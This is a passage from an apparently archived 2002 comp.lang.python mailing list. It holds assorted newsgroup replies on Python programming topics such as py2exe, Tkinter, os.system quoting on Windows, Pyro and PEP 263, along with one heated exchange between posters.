messages, why not put that method in all classes, i.e. in the base class? or simple too: try to call it and see what happens: try: msg.Handler() except AttributeError: pass or use hasattr: if hasattr(msg, "Handler"): msg.Handler() chris -- Chris From lac at strakt.com Thu May 9 03:34:24 2002 From: lac at strakt.com (Laura Creighton) Date: Thu, 09 May 2002 09:34:24 +0200 Subject: Python vs. Perl, which is better to learn? In-Reply-To: Message from "James J. Besemer" of "Wed, 08 May 2002 19:36:27 PDT." <3CD9E0AB.BA39DE6C@cascade-sys.com> References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> <3CD9E0AB.BA39DE6C@cascade-sys.com> Message-ID: <200205090734.g497YOjX028867@ratthing-b246.strakt.com> James J. Besemer wrote: > > That's a very interesting point. > > Please enlighten us: what is the numeric ratio I would have to > demonstrate so that the English adjective "many" fairly applies? Knock it off, Besemer. The English language gets levelled enough wihtout you trying to rub the edges off 'interesting' and turn it into Newspeak. Some of us need that word when we want to express our interest in a subject. Frequently, we want to use it in precisely the same context as you care to abuse it -- wow, somebody disagreed with me and made me think new and interesting thoughts, care to expand on this point some more? so it is quite important to not let you get away with such things. But more importantly, nobody is interested in playing any status games with you. You can stop agreeing with the Martellibot as well. We have already recognized his competance, which is why he is a bot. Stop trying to destablise our egalitarian society with your nasty status plays. You get negative respect points here for simply saying 'I agree' to the Martellibot -- we just wasted our time reading drivel because you wanted to rub shoulders with the competant in a status-enhancing fashion. Lots of newcomers here start out that way, poor victims of a status-driven environment, but most of them notice that it is not necessary and stop all by themselves. Dear Ray Tux and other Newbies who are reading this -- becoming a great programmer takes more than a month, but you can cop the arrogant programmer attitude, as practiced by James Besemer and learn THAT in a month, for certain. Don't do it. If you look back you will see how Besemer was perfectly willing to take correction from Steve Holden and Cliff Wells, individuals that he has marked as 'high-status' so that he can claim the a rank in the barnyard pecking order as 'friend of the mighty'. But since I made it quite explicit that he was not my friend, he wouldn't take it from me. (Admittedly, I stacked things by using extremely angry language, but I wanted to see how shallow his claim to like straight blunt talk was). Follow this path and you can spend your life wondering when your essential lack of authenticity will cause you to be found out. And looking for the next argument, as well. Laura From nospam at nospam.nospam Tue May 28 09:16:39 2002 From: nospam at nospam.nospam (Max) Date: Tue, 28 May 2002 13:16:39 GMT Subject: Again: gadfly + py2exe HELP really needed References: <3cf28f2f.41689171@news.easynews.net> Message-ID: "Marcus Stojek" ha scritto nel messaggio news:3cf28f2f.41689171 at news.easynews.net... > On Sun, 26 May 2002 09:21:53 GMT, "Max" wrote: > > Hi, > I had a similar problem some time ago. In the build_exe.py of py2exe I > found the following lines: [...] > excludes= [...] Nice idea, i tried but still have no good results... > errors, so maybe you have a different problem on top.) Did you try the > installer ? I think there is a debug option somewhere that might tell what do you mean "did you try the installer?" > you more. Did you check your code for things like: > > exec "from "+ modulename +" import *"? I have nothing like that... > A second thing is the os.path warning. In my case found the I already asked that question, the os.path is a specific import based on the os you're running upon. There is a warning, but the program still works correctly [...] > Again, as I am a Newbie don't rely on my posting, but it worked for > me. [...] I'm too... And thanks for the help... :) From sholden at holdenweb.com Mon May 6 08:19:17 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 6 May 2002 08:19:17 -0400 Subject: Python Cookbook (printed) References: <3cd472d2$0$8508$cc9e4d1f@news.dial.pipex.com> <3CD479DC.67155DE4@bellatlantic.net> <3CD581AF.2070202@earthlink.net> <3cd63a0d$0$209$e4fe514c@dreader3.news.xs4all.nl> Message-ID: "Boudewijn Rempt" wrote in message news:3cd63a0d$0$209$e4fe514c at dreader3.news.xs4all.nl... > Ron Stephens wrote: > > > I'll be waitng in line to read it ;-))) > > I've also got it on order. > > > > > But July is fine, and a better product is always worth the wait. Anyway, > > I need some more time to fully absorb Boudewijn Rempt's book on Gui > > programming with the QT Toolkit. By the way, Shawn Gordon is putting out > > feelers to see if there is enough demand to do a re-printing, as the > > Kompany has sold out of the first printing. > > > > I didn't know that... :-). > > > My advice is that if for anyone interested in GUI programming, the book > > is well worth it. Especially if one is willing to buy the Black Adder > > GUI painter and IDE. > Having bought the software over a year ago I am still waiting for it to come out of beta so that the clock starts ticking on the year's upgrades I also bought. Some time ago I was assured that this will be valid when the final product is eventually released. I'm sure the Kompany is busy doing many useful things, but I'm somewhat disappointed in the lack of progress on BlackAdder. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From jb at cascade-sys.com Fri May 10 08:27:04 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Fri, 10 May 2002 05:27:04 -0700 Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: <3CDBBC97.4D00043A@cascade-sys.com> jb wrote: > This question was probably asked many times. > > It does not seem to be possible to "comment out" blocks of code, which would > be a very nice feature for testing purposes. (Maybe I can do it with """ > but that looks a bit cumbersome.) > > Any ideas, hint, proposals? Prefix your code segment with if 0: and indent it a level. This is not as fully general as #ifdef but since even declarations are executed at runtime, it'll serve as a way to selectively include or exclude blocks of code. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From siegfried.gonzi at kfunigraz.ac.at Sat May 11 19:15:18 2002 From: siegfried.gonzi at kfunigraz.ac.at (Siegfried Gonzi) Date: Sun, 12 May 2002 00:15:18 +0100 Subject: idle and the devil References: Message-ID: schrieb im Newsbeitrag news:uwuuaa1o1.fsf at cs.unc.edu... > Do you use a "wheel mouse"? I had a very similar problem in Emacs. It > drove me crazy. Then I realized that when I used the wheel > to scroll I occasionally got a middle button event which was bound to > "paste". So, scattered through my file at seemingly random places > would be stuff that I copied or deleted earlier. > > Does this sound like what is happening to you? Yes, actually I do have a wheel mouse. My first thought was also that I press a button by accident (especially on an alien laptop keyboard), but I could not verify it. But your experience with the wheel sounds very interesting. Did you abandon your wheel mouse? Or is there just an option to cure the problem (any setting)? Thanks, Siegfried Gonzi From Mailer-Daemon at zoppas-industries.it Fri May 3 00:06:03 2002 From: Mailer-Daemon at zoppas-industries.it (Mailer-Daemon) Date: Fri, 03 May 2002 06:06:03 +0200 Subject: NDN: Os direitos reservados Message-ID: Sorry. Your message could not be delivered to: simone moreali (The name was not found at the remote site. Check that the name has been entered correctly.) From pyth at devel.trillke.net Thu May 16 13:56:20 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 19:56:20 +0200 Subject: how to determine an 'open' string? In-Reply-To: <15587.61363.297849.836081@12-248-41-177.client.attbi.com>; from skip@pobox.com on Thu, May 16, 2002 at 12:43:15PM -0500 References: <20020516164007.A28033@prim.han.de> <15587.61363.297849.836081@12-248-41-177.client.attbi.com> Message-ID: <20020516195620.L28033@prim.han.de> Skip Montanaro wrote: > > holger> with my replacement rlcompleter module i'd like to > holger> have a *correct* check if a string is 'open'. > > How about just trying to eval() the string? Assuming it begins with a > quotation mark or apostrophe it should be safe to call eval(). Either it's > a complete string in which case eval() is safe, or it's an open string and > you get a SyntaxError. You obviously don't eval stuff that doesn't start > with other characters. i have to do this with arbitrary statements/expressions. Harvey Thomas found a nice solution fit to the problem. thanks, holger From hancock at anansispaceworks.com Sun May 12 14:48:53 2002 From: hancock at anansispaceworks.com (Terry Hancock) Date: Sun, 12 May 2002 11:48:53 -0700 Subject: python, a scripting language? References: <20020512200002.5145.22932.Mailman@mail.python.org> Message-ID: <3CDEB915.C3B38543@anansispaceworks.com> Erlend J. Leiknes wrote: > A friend of mine which is a java programmer insists on that python is > scripting language... > > I belive the term "script" is outdated because of "precompilation". > The term for a script-language is that you write and run your program as > text? > > Anyway... I would be happy to hear some reasons why python is not a > scripting language... IMHO, "scripting language" vs "programming language" is a distinction of usage. I have a piece of furniture I sometimes call a chair and sometimes a stepstool. If I'm climbing it to reach a high cabinet it's a stepstool, if I'm sitting on it, it's a chair. I would assert that your 2nd paragraph is off-base, BTW -- that's the distinction between "interpreted" and "compiled" languages (though the assertion that these are now extremely fuzzy distinctions is surely true). Java, Python, Perl, and others do not fit cleanly in either category -- all have some partially compiled/partially interpreted nature (and all are different in the details). Similarly, scripting languages are languages that are "good for" scripting -- which means running commands in the OS shell for system administration or installation tasks, while programming languages are "good for" making programs in their own right. The implication that the two are mutually exclusive is hogwash. Tcsh, bash, and csh are certainly poor programming languages. Tcsh/csh in particular has no concept of a function or subroutine, let alone objects, so anything more than a couple of hundred lines becomes a nightmare to maintain. They are also incredibly slow in execution, as various benchmark tests have shown. You *can* script with C,C++ or another compiled language, but it's a major pain. So they are poor scripting languages. I have no idea where Java fits in this spectrum, though I suspect it is also a poor scripting language. I consider this to be for two major reasons: 1) The syntax for invoking shell commands is relatively awkward (You have to call some function/subroutine/class to access the shell (like system()), and typically the mechanisms for getting info back and forth are not concise or easy to remember, and they get in the way of what you're actually trying to do). 2) They must be re-compiled and re-linked each time you make a change, which is just too much buy-in for a script which will be relatively rarely used or used in only one place. (this may also make them bulky, depending on how the linker works -- lots of unnecessary stuff may be stuck in your executable). The decoupling between source and object code, also increases the chance that you will use the wrong version, or lose the original source (which may be the only documentation), etc. Python is much faster than shell scripts, though a wee-bit slower than native compiled languages like C (quite often though, the difference is actually negligible, from what I've heard. I've rarely had the need or opportunity to compare them). It also has powerful programming constructs: * Complex/high-level built-in aggregate data types (or objects, if you prefer). * An object-oriented syntax which IMHO is as simple as it could possibly be. Because of this, it passes as a good "programming language". IMHO, it is far better than programming in C for many, many tasks. The main reason being the tremendous contraction of development time. I've essentially abandoned C development for this reason (I still occasionally use it for the exceptional cases). Python fails the first test of a good "scripting language" -- you do have to wrap shell commands in some special syntax -- namely various modules for OS access: os, commands, popen2, etc. They also aren't too integrated, BTW, which is sort of a pain (this is probably because they don't all work on all platforms -- tcsh, bash, and csh aren't burdened with this as no one expects them to run on anything but Unix/Linux). However, don't let this scare you -- it isn't really that hard to script in Python, and there are rewards to scripting in a general-purpose programming language. Also, Python passes the second test quite well -- I hardly ever even have to think about the byte-compiling process. It takes care of itself, and the interpreter/compiler finds the updated files and applies them right away. Certainly I do not get bulky executables to worry about. The way you put the question suggests that you are really asking for proof that Python is not a poor programming language, which I hope is clear from the above comments. It is however, *also* a reasonably good scripting language. For larger scripts, where program structure might be important, it's probably a big win over tcsh/csh. Bash/sh may be more competitive (does have functions), but I never learned them, so I'd rather just go straight to Python. For tiny scripts though, I usually just use a few tcsh commands and I'm done with it. Terry -- ------------------------------------------------------ Terry Hancock hancock at anansispaceworks.com Anansi Spaceworks http://www.anansispaceworks.com ------------------------------------------------------ From theller at python.net Wed May 8 15:34:41 2002 From: theller at python.net (Thomas Heller) Date: Wed, 8 May 2002 21:34:41 +0200 Subject: unexpected os.system behavior on windows NT References: Message-ID: > os.system seems to malfunction when the command name and another > argument are both quoted on the commandline. All these commands > run "as expected" when executed directly in a command window. I've posted this before... There are strange rules of cmd.exe regarding quotes, but 'cmd /?' on Win2k finally documents them. Thomas ----- If /C or /K is specified, then the remainder of the command line after the switch is processed as a command line, where the following logic is used to process quote (") characters: 1. If all of the following conditions are met, then quote characters on the command line are preserved: - no /S switch - exactly two quote characters - no special characters between the two quote characters, where special is one of: &<>()@^| - there are one or more whitespace characters between the the two quote characters - the string between the two quote characters is the name of an executable file. 2. Otherwise, old behavior is to see if the first character is a quote character and if so, strip the leading character and remove the last quote character on the command line, preserving any text after the last quote character. From mwh at python.net Thu May 23 07:39:11 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 23 May 2002 11:39:11 GMT Subject: os.path.join() necessary? References: <3CECD167.9020107@thomas-guettler.de> Message-ID: Thomas Guettler writes: > Is os.path.join() necessary? I use > > absolute_path=dir + "/" + file > > on windows (W2K) without problems. Try it on the Mac. Cheers, M. -- I'm sorry, was my bias showing again? :-) -- William Tanksley, 13 May 2000 From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sat May 18 18:32:46 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 19 May 2002 00:32:46 +0200 Subject: Pyro 2.8 available Message-ID: I'm glad to announce the latest version of Pyro, 2.8! You can get it via http://pyro.sourceforge.net, then go to the project homepage. This is mostly a bugfix release. This likely is the last Pyro release in the 2.x version series. The next release, 3.0, will have some major changes and improvements. Changes since 2.7 include: More complete docs, better example chapter in docs, fixed ^C handling of chatbox examples, fixed protocol bug when both checksum and compression were used, setup script should work again with Win98, old bug in PyroC generated proxy code fixed. What is Pyro? Pyro is an acronym for PYthon Remote Objects. It is a basic Distributed Object Technology system written entirely in Python. It is extremely easy to implement a distributed system with Pyro, because all network communication code is abstracted and hidden from your application. You just get a remote Python object and invoke methods on the object on the other machine. Pyro offers you a Name Server, an Event Service, mobile objects, remote exceptions, dynamic proxies, remote attribute access, automatic reconnection, a detailed manual, and many examples to get you started right away. Irmen de Jong From shalehperry at attbi.com Thu May 30 01:34:30 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 29 May 2002 22:34:30 -0700 (PDT) Subject: matching one time through a loop In-Reply-To: <5IfJ8.71468$Oa1.6018326@bin8.nnrp.aus1.giganews.com> Message-ID: > > If you want to stop at first, then there is no need to count. Just > stop. Also, searching for literal string should be more efficient > with string.find than more general re stuff. > if you do need the regex, there is only a need to compile it once before any of the loops rather than every time through. The way it is now there is no point in compiling the regex as it is recomputed every time anyway. From shagshag13 at yahoo.fr Fri May 31 15:47:00 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Fri, 31 May 2002 21:47:00 +0200 Subject: OverflowError: math range error ??? References: Message-ID: So it's ok, i thing i should have work with real :o)))))))))) >>> math.log(15996 / 25859) Traceback (most recent call last): File "", line 1, in ? math.log(15996 / 25859) OverflowError: math range error >>> math.log(15996.0 / 25859.0) -0.48032001185119749 "Shagshag13" a ?crit dans le message de news: ad8bkk$va3sb$1 at ID-146704.news.dfncis.de... > > What does it mean "OverflowError: math range error" ??? > > I get this: > > Traceback (most recent call last): > File "./build_index.py", line 91, in ? > ii.updateWeight() > File "./invertedindex.py", line 109, in updateWeight > idf = ( math.log( (N + 1) / (df + 1) ) / math.log(2) + 1 ) > OverflowError: math range error > > (ps: i am on Solaris, if this helps) > > thanks in advance, > > s13. > > > From sarmstrong13 at mac.com Sun May 26 21:57:27 2002 From: sarmstrong13 at mac.com (SA) Date: Sun, 26 May 2002 20:57:27 -0500 Subject: Another newbie question Message-ID: I am trying to find a way to list the contents of a directory into a list so that the contents of the list are then read into an html doc as hrefs. What I'm looking for is a way to ls a directory. Is there a way to access the shell command ls from within a python script and dumping the output into a list for further manipulation? Or does this have to be built from the ground up inside the python script? Thanks. SA From nospam at bigfoot.com Mon May 27 07:24:00 2002 From: nospam at bigfoot.com (Gillou) Date: Mon, 27 May 2002 13:24:00 +0200 Subject: encoding with reportlab References: Message-ID: It's in one of the tests... /path/to/reportlab/test/test_pdfbase_encodings.py HTH --Gilles "Maric MICHAUD" a ?crit dans le message news: mailman.1022493751.14685.python-list at python.org... Does anyone know how make reportlab print euro symbol (EUR ) in a pdf doc under linux ('\xa4' in iso 8859-15) From pyth at devel.trillke.net Wed May 22 13:27:53 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 22 May 2002 19:27:53 +0200 Subject: string module In-Reply-To: ; from fperez528@yahoo.com on Wed, May 22, 2002 at 10:48:23AM -0600 References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: <20020522192753.D26513@prim.han.de> Fernando P?rez wrote: > holger krekel wrote: > > >> > My current development version (requires readline :-) is here: > >> > > >> > http://home.trillke.net/~hpk/rlcompleter2.py > >> > > >> > just import it on a pure python installation (with readline available) > >> > and play around :-) > >> > >> Wow, that's a peice of work! > > > > thanks! it's even better if you apply the one-liner readline-patch 558432 on > > sourceforge :-) > > By the way Holger, have you submitted this patch to the main python-dev > people? the given number *is* the patch number on sourceforge. I don't know whether i should assign it to somebody or just wait? > I _hate_ the normal readline behavior which forces me to backspace > every time, I just didn't know fixing it was this simple. I don't think that *anybody* loves this 'space'. It also contradicts the coding-style as described in PEP 8. > But C things that don't become part of the standard distro get ignored by 99% of people, since > that is the 99% which doesn't build its own python. For pure python modules > it's easier to distribute a replacement, but sine this is a C patch I hope it > becomes part of the standard distribution. hope so too. > I'll test the rlcompleter2/ipython merge as soon as I can. We probably have to discuss the filename-completion thingie a bit... cheers, holger From marklists at mceahern.com Thu May 2 00:38:57 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 1 May 2002 23:38:57 -0500 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <3CD0BF2D.3F6FADA9@cascade-sys.com> Message-ID: [James J. Besemer] > It strikes me as somewhat arbitrary that "newbie" questions or comments > about language features are so irritating while answering newbie questions > over and over about how to split a text line into fields (or to measure > performance) is not. Is it really that arbitrary? Imagine me walking up to a [insert your favorite expert here] and: 1. Telling them they ought to change how they do x. Or that they way they do x is wrong, inefficient, could be better, ought to be more like y. 2. Asking them how to do x. You really think it's arbitrary that 1 is irritating and annoying and 2 is not? Posting to comp.lang.python that the language ought to have block delimiters is about as pointless--and graceless, really--I suppose, as posting to comp.lang.perl that $_ ought not to do whatever the hell it is that it does. // mark From whisper at oz.net Sat May 11 03:34:01 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 00:34:01 -0700 Subject: Comment on PEP 263 - Defining Python Source Code Encodings Message-ID: If it's not too late to make any suggestions about this, I have one. Instead of creating an obscure syntax for encoding as the PEP describes: Python will default to ASCII as standard encoding if no other encoding hints are given. To define a source code encoding, a magic comment must be placed into the source files either as first or second line in the file: #!/usr/bin/python # -*- coding: -*- why not use something like: #!/usr/bin/python # More generally, "utf-8" would be replaced by one of a list of acceptable encoding names in the same way as currently envisioned by the PEP authors (whatever that is - I didn't see it mentioned in the PEP). (I think having a version attribute is a GOOD thing. I suppose that purists might even wish to replace "2.2.1" with "http://www.python.org/python-2.2.1", but I don't think that gains anything.) This has minor impact on the modifications already needed to implement this PEP requiring only changes to the Python compiler for recognizing the syntax used and thus has virtually no impact on anticipated delivery of this feature. I think it has the very positive benefit of using what has rapidly become a very familiar idiom and lays an (IMO) good foundation for future "smart comment" features. It's also worth noting that there are a lot of tools that know that syntax (setting aside the # of course) already and zero to none that know "-*-...". Do we really need yet _another_ notation? David LeBlanc Seattle, WA USA From sholden at holdenweb.com Fri May 10 13:24:10 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 10 May 2002 13:24:10 -0400 Subject: lists + string References: Message-ID: "ian" wrote in message news:unSC8.57436$oK4.103913 at NewsReader... > cheers for the quick response > what im doing is reading a line from a file > then appending it to my wordlist list. > how would i do it knowing this??? > > word = str(raw_input("Enter word to remove: ")) > > wordlist = [] > spamfile = file('spam.txt','r',1024) > Generally speaking you can do without the size hints, so spamfile = file("spam.txt", "r") would do here (and you can even miss off the "r" at a pinch). > while 1: > line = spamfile.readline(1024) > if line == '':break > wordlist.append(line) > spamfile.close() > Watch that indentation! The difference bettwen 5 leading spaces and 6 is obvious to the interpreter, but it makes itr difficult for old crocks like me. 4 spaces per indentation level is nowadays considered acceptable. So, you're building a list of words from the file. Note that these words have newlines at the end of them because they have been read from a file... you can strip these off by saying something like line = spamfile.readline().rstrip() The readline() file method returns a string, which therefore has an rstrip() method to remove trailing whitespace. If you're happy about the newlines then you could just say wordlist = spamfile.readlines() and pull the whole thing in with a single statement! > #write back file > #spamfile = file('spam.txt','w+',1024) > print "word list" > for x in wordlist: Of course here you aren't taking the newlines into account. Because you didn't open the file in binary mode (sensible decision) Python guarantees that the line terminator is a line feed ('\n'). So probably the easiest thing would have been to add a newline to the word you read in from the user. > print x > if x == word:print 'found' > #spamfile.write(x) > #spamfile.close() > [...] So your program would become something like: word = str(raw_input("Enter word to remove: "))+"\n" spamfile = file('spam.txt','r',1024) wordlist = =spamfile.readlines() spamfile.close() #write back file spamfile = file('spam.txt','w+',1024) print "word list" for x in wordlist: print x if x == word: print 'found and removed' else: spamfile.write(x) spamfile.close() Hope this will be an iluminating contrast with your initial effort. You had a lot ofthe logic correct, but not knowingf the details of the I/O subsystem stood in your way. It was also a gaff to miss out the "else" in the conditional: without it, everything gets written back to the spam file. In that case, there's no point rewriting it, you could have just left it as it was. Tell your professor I'd like at least a "B" for this, please ;-) regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From kragen at pobox.com Wed May 15 17:08:33 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 15 May 2002 17:08:33 -0400 Subject: Fwd: Re: expect References: Message-ID: <834rh95dbi.fsf@panacea.canonical.org> Hardy Merrill writes: > > I found > > almost no examples in the manpage, and not much more > > in the book, and I couldn't find much online. FWIW, I found the manpage sufficient, but I already knew Tcl. From martin at v.loewis.de Tue May 14 16:30:49 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 14 May 2002 22:30:49 +0200 Subject: Unnamed Tkinter object reference? References: <3CE13ED5.B0D29BC4@ingenta.com> Message-ID: Christopher Myers writes: > I have an app where I'm building widgets on the fly, and they do not > have names, so I can't refer to them to use their methods, but it would > be useful to be able to get some sort of temporary handle for a widget > to be able to get/set parameters for it. Tkinter widgets always have names; it is available as w._name - the "full name" (i.e. the command name) is available as w._w. HTH, Martin From oren-py-l at hishome.net Sun May 26 06:59:44 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Sun, 26 May 2002 13:59:44 +0300 Subject: 'for every' and 'for any' Message-ID: <20020526135944.A32690@hishome.net> Here's an idea for a possible language enhancement. I'd like to hear your comments about it. It's inspired by list comprehensions and I think the examples are pretty self-explanatory: if not isinstance(x, str) for any x in args: raise TypeError, "arguments must be of type str" valid = i>0 for every i in vector if dict2.has_key(k) for any k in dict1: ... The words 'any' and 'every' can be non-reserved keywords (like the word 'as' in "import foo as bar"). They are valid only after the keyword 'for' when it's used in a non-statement context. Oren From aahz at pythoncraft.com Wed May 1 16:08:05 2002 From: aahz at pythoncraft.com (Aahz) Date: 1 May 2002 16:08:05 -0400 Subject: Python buglet: Incorrect error message for float([0]) References: <3CCF7810.5000608@erols.com> Message-ID: In article <3CCF7810.5000608 at erols.com>, Edward C. Jones wrote: > >This line of Python (2.2): > > x = float([0]) > >gives the error: > > TypeError: float() needs a string argument > >But since "float(0)" is OK, a better error message might be: > > TypeError: the argument of float() must be a string or a number That looks like a good bug to submit to SourceForge. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From jepler at unpythonic.net Mon May 20 14:02:16 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Mon, 20 May 2002 13:02:16 -0500 Subject: ScrolledText (over Tkinter.Text) validation In-Reply-To: <63604d2.0205200938.311b0a29@posting.google.com> References: <63604d2.0205200938.311b0a29@posting.google.com> Message-ID: <20020520130215.A7704@unpythonic.net> By returning the string "break" from a binding, you can stop further processing of events, as described in the Tk "bind" manpage. You would start with something like def myfunc(evt): k = evt.char if k in "PERU": return return "break" aText = Text() aText.bind("", myfunc) However, 'myfunc' will be executed even when the key is one such as , , or another key to be treated specially. For each such key, you need a binding of the form aText.bind("", "# nothing") as well as bindings to ignore modified keys aText.bind("", "# nothing") If you use an Entry instead of a Text, you can use textvariable= to link the value in the entry to some Python instance. I'm not familiar with doing this in Python, but the code might look something like this: import Tkinter, re class MyVariable(Tkinter.StringVar): def __init__(self, master=None): Tkinter.StringVar.__init__(self, master) self.value = "" self.trace = self.trace_variable("w", self._validate) def __del__(self): self.trace_vdelete("w", self.trace) def _validate(self, name1, name2, op): self.validate(self.get(), self.value) self.value = self.get() def validate(self, new_value, old_value): self.set(new_value) class PERUVariable(MyVariable): def validate(self, new_value, old_value): if re.match("^[PERU]*$", new_value): self.set(new_value) else: self.set(old_value) app = Tkinter.Tk() aEntry = Tkinter.Entry(textvariable=PERUVariable(app)) aEntry.pack() app.mainloop() Jeff From kragen at pobox.com Mon May 13 13:13:44 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 13:13:44 -0400 Subject: print string+ in for loop References: <20020512225216.32620d8f.kevin@no.mail.com> <5UuD8.33093$CN3.1134349@news2.tin.it> <20020512233447.34678bed.kevin@no.mail.com> Message-ID: <83vg9skm2f.fsf@panacea.canonical.org> Kevin Kohiruimaki writes: > But actually, that is not the point, I know I can do it with other ways. I > just feel a little weird why you can do > > for c in word: > print c, > > but not > > for c in word: > print c+ What would you expect this second program to mean, and why? From gupsgrotto at no-spam.netscape.net Thu May 30 11:05:07 2002 From: gupsgrotto at no-spam.netscape.net (grant) Date: Thu, 30 May 2002 15:05:07 GMT Subject: System Information win32 References: <3cf3a0bb$1@post.newsfeed.com> Message-ID: On Tue, 28 May 2002 08:36:45 -0700, Matthias Kirst wrote: > *** post for FREE via your newsreader at post.newsfeed.com *** > > Hi, > > I'm looking for code extracting win32 system information (memory usage, > operating system, harddisk usage, processor). > > Thank you, > Matt > > > > > -----= Posted via Newsfeed.Com, Uncensored Usenet News =----- > http://www.newsfeed.com - The #1 Newsgroup Service in the World! -----== > 100,000 Groups! - 19 Servers! - Unlimited Download! =----- Some of this information can be found by the os.system module and some from the win32 registry module.... From walterm at parque.homelinux.net Fri May 10 17:35:39 2002 From: walterm at parque.homelinux.net (Walter Moreira) Date: Fri, 10 May 2002 18:35:39 -0300 Subject: Python for Statistic In-Reply-To: References: Message-ID: <20020510213539.GA24067@parque.homelinux.net> On Thu, May 09, 2002 at 10:12:15PM +0000, gimar wrote: > I need to know the best way to process data for statistical calculations. > Is there a reliable module out there that I could use for finding median, > chi square, std deviation, T Student ... ? There is a very good language oriented to statistics called R and there are some extension modules for using R from Python: RPy: RSPython: Hope it helps. Walter From systhree at nospam.mailandnews.com Sat May 4 09:27:17 2002 From: systhree at nospam.mailandnews.com (Dan Polak) Date: Sat, 4 May 2002 15:27:17 +0200 Subject: high volume/speed gethostbyaddr how? References: Message-ID: In article , brueckd at tbye.com says... > On Fri, 3 May 2002 brueckd at tbye.com wrote: > > > import threading, socket > > ipList = [... create a list of IP addresses ...] > > ipAndHostList = [] > > > > def LookupThread(): > > while 1: > > try: > > ip = ipList.pop() > > ipAndHostList.append((ip, socket.gethostbyaddr(ip)[0])) > > except IndexError: > > break > > > > for i in range(3): > > threading.Thread(target=LookupThread).start() > > Oops, also add: > > import time > while ipList: > time.sleep(0.1) I tried it and it improves speed greatly. Thank you very much! Dan From db3l at fitlinxx.com Wed May 22 21:45:49 2002 From: db3l at fitlinxx.com (David Bolen) Date: 22 May 2002 21:45:49 -0400 Subject: Popen confusion. References: <3cec0da5.14728828@nntp.interaccess.com> Message-ID: Chris Liechti writes: > olczyk at interaccess.com (Thaddeus L. Olczyk) wrote in > news:3cec0da5.14728828 at nntp.interaccess.com: > > > I need to spawn a process in such a way that I have access to three > > pipes ( the usual suspects ) and am able to retrieve the return > > status. > > The python documentation is very confusing about this. > > Can anyone help? > > > > http://python.org/doc/current/lib/os-newstreams.html says: > """ > popen3(cmd[, mode[, bufsize]]) > Executes cmd as a sub-process. Returns the file objects (child_stdin, > child_stdout, child_stderr). > """ > > i think the return value of child_stdout.close() is the exit code. At least under Windows, it's the last file object (whichever one) that you close of the three that returns the exit code, since until you have them all closed, that link to the child process might create a deadlock trying to get the exit code as the process might not exit. > however you can also use the popen2 module which has additional > functionality: > http://python.org/doc/current/lib/module-popen2.html and > http://python.org/doc/current/lib/popen3-objects.html It may be fine for the OP, but note that these are Unix specific. -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From sandskyfly at hotmail.com Sat May 4 20:31:15 2002 From: sandskyfly at hotmail.com (Sandy Norton) Date: 4 May 2002 17:31:15 -0700 Subject: Slight irritation with lumberjacks! :-) References: Message-ID: Francois wrote in message > Who is that `Lumberjack' boy? Maybe someone evaded from the Perl newsgroup, > and now looking for another niche to flame all around? I long feared to > see the Python community infested by such snakes, but I presume they are > just inescapable in the long run, sigh! Food for kill files! :-) OK, done! http://aspn.activestate.com/ASPN/Mail/Browse/ByAuthor/python-list?author=lumber at jack.com From gerson.kurz at t-online.de Fri May 17 14:21:17 2002 From: gerson.kurz at t-online.de (Gerson Kurz) Date: Fri, 17 May 2002 18:21:17 GMT Subject: ANN: pop3filter 0.1 Message-ID: <3ce5460b.17677734@news.t-online.de> I'm on a dial-up internet connection with little or no spam checking for my mail inbox. So, I wrote "pop3filter.py", a small script (135 lines) that filters the POP3 communication between "localhost" and your provider. Currently, it has but one feature: - strip HTML mails to plaintext Spam detection will be in the next version. My previous attempt at stripping HTML mails involved hacking outlook and was thus only usefull for outlook (and didn't work that good, I must admit); this version should work much better, and for other email clients, too. The tool is only usefull if you have just one POP3 provider, its not usefull for more providers (as of yet). Also, this is the very first release, and although I would be very grateful for bug reports, you might find the bugs not as pleasant as I'll find them. Anyway, if I haven't scared you away, the installation goes like this: - you need python2.2 (because of the "email" package. you might have installed it separately, then it should work, too. (as long as you have at least 2.0)) - it was tested on Windows 2000 using Microsoft Outlook as mail client. (Thats' why I was looking for a HTML-mail-stripper in the first place ;). Your mileage may vary. - download the file http://p-nand-q.com/python/pop3filter.zip and extract it - edit the line that says # you have to edit this line to point to your POP3 server. REMOTE_POP3_SERVER = "" so for example it could read REMOTE_POP3_SERVER = "mail.server.internal.com" or whatever - the line you would have used 